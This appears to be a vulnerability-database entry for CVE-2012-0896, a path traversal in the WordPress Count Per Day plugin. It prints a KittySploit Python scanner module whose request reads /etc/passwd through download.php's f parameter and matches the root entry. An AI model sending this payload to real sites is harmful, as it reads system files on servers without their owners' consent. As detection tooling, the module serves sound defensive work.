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Count Per Day <= 3.1 - download.php f Parameter Traversal Arbitrary File Access Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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Remote attackers can read arbitrary files via the f parameter in Count Per Day download.php.

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circl
Circl
CVE-2012-0896
12 Jan 201200:00
–circl
cve
CVE
CVE-2012-0896
20 Jan 201217:00
–cve
cvelist
Cvelist
CVE-2012-0896
20 Jan 201217:00
–cvelist
exploitdb
Exploit DB
WordPress Plugin Count Per Day - Multiple Vulnerabilities
12 Jan 201200:00
–exploitdb
euvd
EUVD
EUVD-2012-0919
7 Oct 202500:30
–euvd
mend
Mend
CVE-2012-0896
20 Jan 201217:00
–mend
nuclei
Nuclei
Count Per Day <= 3.1 - download.php f Parameter Traversal Arbitrary File Access
28 Oct 202602:04
–nuclei
nvd
NVD
CVE-2012-0896
20 Jan 201217:55
–nvd
openvas
OpenVAS
WordPress Multiple Plugins / Themes Directory Traversal / File Download Vulnerability (HTTP)
20 Nov 202000:00
–openvas
prion
Prion
Path traversal
20 Jan 201217:55
–prion
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""An absolute path traversal vulnerability in download."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Count Per Day <= 3.1 - download.php f Parameter Traversal Arbitrary File Access Detection',
        'description': 'An absolute path traversal vulnerability in download.php in the Count Per Day module before 3.1.1 for WordPress allows remote attackers to read arbitrary files via the f parameter.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2012', 'packetstorm', 'lfi', 'wordpress', 'wp-plugin', 'traversal', 'count_per_day_project', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://packetstormsecurity.com/files/108631/',
            'http://plugins.trac.wordpress.org/changeset/488883/count-per-day',
            'https://https://nvd.nist.gov/vuln/detail/CVE-2012-0896',
            'http://wordpress.org/extend/plugins/count-per-day/changelog/',
            'https://exchange.xforce.ibmcloud.com/vulnerabilities/72385',
        ],
        'cve': 'CVE-2012-0896',
    }

    def run(self):
        r = self.http_request(method="GET", path='/wp-content/plugins/count-per-day/download.php?n=1&f=/etc/passwd', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_regexes = ('root:.*:0:0:',)
        if (any(re.search(rx, body, 0) for rx in body_regexes)):
            self.set_info(
                severity='medium',
                reason="Count Per Day <= 3.1 - download.php f Parameter Traversal Arbitrary File Access detected",
                path='/wp-content/plugins/count-per-day/download.php?n=1&f=/etc/passwd',
            )
            return True
        return False

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28 Jul 2026 11:27Current
8.6High risk
Vulners AI Score8.6
CVSS 25
EPSS0.22664
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